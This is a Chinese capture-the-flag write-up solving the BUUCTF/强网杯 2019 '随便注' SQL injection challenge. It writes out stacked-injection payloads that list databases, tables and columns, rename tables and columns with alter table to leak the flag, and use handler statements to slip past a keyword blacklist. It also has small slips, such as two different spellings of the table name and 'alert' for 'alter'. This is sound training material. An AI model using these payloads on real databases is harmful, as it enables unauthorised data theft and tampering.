BUUCTF-web类-第二题 [强网杯 2019]随便注
正常输入1,返回一个数组
基本操作,单引号测试下,报错了。
看看 1’ or 1=1 #,发现爆出了所有字段。
常规流程,order by,发现到order by 3#时,报错了,说明该表中只有三个字段。
继续常规流程,联合查询,发现提示竟然过滤了这么多注入时常用的关键字,看来事情没有这么简单。
于是我选择了从头再来,看看有没有别的注入方式,结果发现竟然存在堆叠注入。
于是我们查查库,查查表,查查字段。
库:
1';show databases;#
表:发现有两个表 ‘191919810931114514’和’words’
1';show tables;#
'191919810931114514’表中字段,发现flag应该就是在这个表中了
1';show columns from `1919810931114514`#
注意一下这里时反引号``
'words’表中字段
1';show columns from `words`# 注意反引号
对比我们刚刚输入1查询之后的结果,可以发现原来查询之后返回的都是words表中的结果,所以出现了骚思路,能否将 '191919810931114514’表中的flag字段作为结果放回出来,于是进行测试,发现没有过滤过滤alert和rename关键字。
思路是这样:
这时候我们就可以已下面的骚姿势进行注入:
(1)将words表改名为word1
(2)1919810931114514改名为words
(3)将flag列改名为id(记得数值类型也要改)
构造payload:
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
更改完,1’ or 1=1 #看看结果,得到了flag。
后来发现,还有一种很简单的解法,因为用的是黑名单过滤,其实还有一个关键字没有被过滤掉,那就是handler
payload:
1';
handler `1919810931114514` open;
handler `1919810931114514` read first;#
反引号千万别忘了,这道题被反引号坑了几次了!!!
如果表名是纯数字需要用反引号包裹,不然不会出现回显。
MySQL中反引号和单引号的区别与用法
(1)MySql 中用一对反引号来标注 SQL 语句中的标识,如数据库名、表名、字段名等
(2)引号则用来标注语句中所引用的字符型常量或日期/时间型常量,即字段值
本题的mysql查询语句应该是
select * from words where id=`$injec`;
本题难点在于姿势以及想法,着实扩展了眼界。